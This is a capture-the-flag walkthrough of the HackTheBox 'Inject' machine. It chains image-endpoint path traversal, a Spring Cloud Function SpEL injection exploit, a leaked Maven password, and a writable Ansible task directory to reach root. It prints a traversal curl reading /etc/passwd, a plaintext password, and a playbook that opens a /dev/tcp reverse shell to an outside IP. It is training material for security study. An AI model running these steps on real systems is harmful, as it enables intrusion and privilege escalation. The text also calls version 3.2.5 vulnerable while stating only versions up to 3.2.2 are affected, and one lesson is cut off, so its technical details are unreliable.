Inject
Box Info
Platform: HackTheBox, OS: Linux (Ubuntu 22.04), Difficulty: Easy, Released: 2023-04-01, IP: 10.10.11.204 → inject.htb
Attack Path
- Upload page +
show_image?img=is path traversal / LFI → read/etc/passwd(usersfrank,phil) and the webapp’spom.xml, revealing Spring Cloud Function 3.2.5. - CVE-2022-22963 (Spring Cloud Function SpEL injection via the
spring.cloud.function.routing-expressionheader) → RCE → shell asfrank. frank’s~/.m2/settings.xmlcontainsphil : DocPhillovestoInject123→su phil.philis in groupstaff, which can write into/opt/automation/tasks/. A root cron runs every Ansible playbook in that dir → dropplaybook_2.ymlwith a reverse-shell task → root.
Credentials & Flags
| Where | Value |
|---|---|
frank ~/.m2/settings.xml | phil : DocPhillovestoInject123 |
user.txt | /home/phil/user.txt |
root.txt | /root/root.txt |
Overview
What I liked most about Inject was how it forced me to treat a file-read bug as a reconnaissance tool rather than an end in itself. The image-viewer traversal doesn’t hand you a shell on its own, but I quickly realized its real value: pointing it at the application’s build metadata told me exactly what framework and version I was dealing with, Spring Cloud Function 3.2.5, and that version number was the whole game. Once I had it, the RCE practically named itself. From there the box turns into a loot-chaining exercise (a Maven settings.xml sitting around with a plaintext password) capped off by a writable automation directory privilege escalation: I couldn’t touch the existing Ansible playbook root was already running, but nothing stopped me from dropping a brand-new one into the same directory and letting root’s cron execute it for me. It’s a solid reminder to always ask “what is this app actually running underneath me” before jumping straight to exploit-searching, and a good example of Ansible automation itself becoming an attack surface.
I’ve hit this same “read config to fingerprint before exploiting” pattern on several other boxes, so it’s worth linking them together: for LFI and path traversal specifically, see Backdoor, Titanic, and Bagel; for using leaked build metadata to pin down the exact CVE, Pilgrimage (via a .git directory and a binary) and Heal both follow the same logic; and for writable cron/task directories as a root path, I ran the same playbook (pun intended) on Previse, mkingdom, and Jupiter.
Full Walkthrough

The upload page only accepts image files, which told me the interesting attack surface was probably in how those images get served back rather than in the upload validation itself.

I uploaded a normal image first just to see how the application handled a legitimate file and to get a feel for the show_image endpoint’s parameters. Once I saw it took a filename directly, testing for path traversal was the obvious next step.
curl -vv 'http://inject.htb:8080/show_image?img=../../../../../../../../../../../../../../etc/passwd'root:x:0:0:root:/root:/bin/bash
...
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
Turn the LFI into stack recon
My approach with any arbitrary file read like this is to resist the urge to immediately hunt for a shell and instead use it to learn exactly what the app is first. For a Java web application, that means going after the files that reveal dependency versions and configuration: pom.xml or build.gradle for the former, application.properties or application.yml for the latter (which often also leak internal hostnames or credentials), and the source tree under something like /var/www/WEB-INF or the project’s own directory. I applied that here and read ../webapp/pom.xml, which showed spring-cloud-function-web at version 3.2.5, the exact vulnerable release. When the standard files don’t pan out, /proc/self/environ and /proc/self/cwd/… are worth trying too, since they can leak the running process’s environment and working directory.
With the version pinned down through that XML file in the webapp directory, I knew exactly which advisory to go looking for. Spring Cloud Function 3.2.5 pointed straight at CVE-2022-22963, and researching that CVE gave me everything I needed to turn the finding into a working shell.
CVE-2022-22963, Spring Cloud Function SpEL RCE
The root cause here is that Spring Cloud Function versions up to and including 3.2.2 will evaluate the spring.cloud.function.routing-expression request header as a SpEL expression whenever the functionRouter is in use, rather than treating it as inert routing metadata. That means anything I put in that header gets executed as code by the Spring expression engine. Sending T(java.lang.Runtime).getRuntime().exec(...) inside the header runs as the application user, and the whole thing takes a single unauthenticated request, no session, no prior foothold needed. It’s worth being careful not to confuse this with Spring4Shell (CVE-2022-22965), which broke the same week and gets mixed up with this one constantly.
└─[$]> python3 exploit.py -u http://inject.htb:8080
[+] http://inject.htb:8080 is vulnerable
[/] Attempt to take a reverse shell? [y/n] y
Connection received on 10.10.11.204 51776
frank@inject:/$
linpeas would not run here, so I enumerated by hand. In frank’s home there’s a .m2 folder (Maven); settings.xml holds credentials for phil:
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
</server>su phil # DocPhillovestoInject123linpeas runs fine as phil. The key finding is that phil belongs to the staff group:
phil@inject:~$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:~$ ls -al /opt/automation/tasks/
drwxrwxr-x 2 root staff 4096 ... .
-rw-r--r-- 1 root root 150 ... playbook_1.yml
# /opt/automation/tasks/playbook_1.yml - run by root's cron
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd: { name: webapp, enabled: yes, state: started }Writable task directory + Ansible = root
The cron runs ansible-playbook against every *.yml in /opt/automation/tasks/. You can’t overwrite playbook_1.yml (owned by root), but the directory is group-writable by staff, so you can create playbook_2.yml. Ansible playbooks run tasks as the invoking user (root) and the shell/command modules are arbitrary execution. The cron re-creates/cleans files quickly, so stage the payload and drop it fast. pspy confirms the interval.
# playbook_2.yml
- hosts: localhost
tasks:
- name: shell
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.77/9002 0>&1'└─[$]> nc -lnvvp 9002
Connection received on 10.10.11.204 54618
root@inject:/opt/automation/tasks#
Loot
| Flag | Location |
|---|---|
user.txt | /home/phil/user.txt |
root.txt | /root/root.txt |
Lessons & Takeaways
- An LFI is a reconnaissance tool. Read build files and configs to identify exact versions before searching for exploits.
- Canonicalise and confine file paths. Reject
., resolve withrealpath, and check the result is inside an allowed base directory. - Patch Spring Cloud Function (and audit for Spring4Shell at the same time).
- Maven
settings.xml,~/.m2,~/.aws,~/.docker/config.json,~/.git-credentialsroutinely hold plaintext secrets. Always check them post-foothold. - A group-writable automation directory is root if root runs its contents. Lock down
/opt/**perms and run schedulers from a fixed, root-only path.
Related Writeups
- LFI / path traversal: Backdoor, Titanic, Bagel, Heal
- Read metadata → find the CVE: Pilgrimage, Heal
- Writable cron / task dir → root: Previse, mkingdom, Jupiter
- Secrets in dev tool configs: Inject
.m2, see also Cat / Backdoor
References
- CVE-2022-22963 https://nvd.nist.gov/vuln/detail/CVE-2022-22963
- Spring advisory https://spring.io/security/cve-2022-22963
- Ansible playbook basics https://docs.ansible.com/ansible/latest/playbook_guide/